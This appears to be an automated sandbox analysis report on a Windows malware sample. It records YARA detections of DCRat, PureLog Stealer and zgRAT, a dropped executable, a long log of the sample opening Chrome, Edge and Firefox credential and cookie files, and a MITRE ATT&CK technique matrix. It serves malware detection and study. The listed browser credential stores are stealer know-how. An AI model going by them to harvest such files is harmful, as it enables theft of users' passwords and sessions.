Source: Yara match	File source: 0wdppTE7Op.exe, type: SAMPLE
Source: Yara match	File source: 0.0.0wdppTE7Op.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000000.00000002.1799154968.00000000129D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0wdppTE7Op.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0wdppTE7Op.exe PID: 8008, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0wdppTE7Op.exe, type: SAMPLE
Source: Yara match	File source: 0.0.0wdppTE7Op.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1666969105.0000000000152000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 0wdppTE7Op.exe, type: SAMPLE
Source: Yara match	File source: 0.0.0wdppTE7Op.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	241 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	1 Taint Shared Content	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	144 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	31 Registry Run Keys / Startup Folder	31 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	Security Account Manager	341 Security Software Discovery	SMB/Windows Admin Shares	1 Clipboard Data	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	271 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
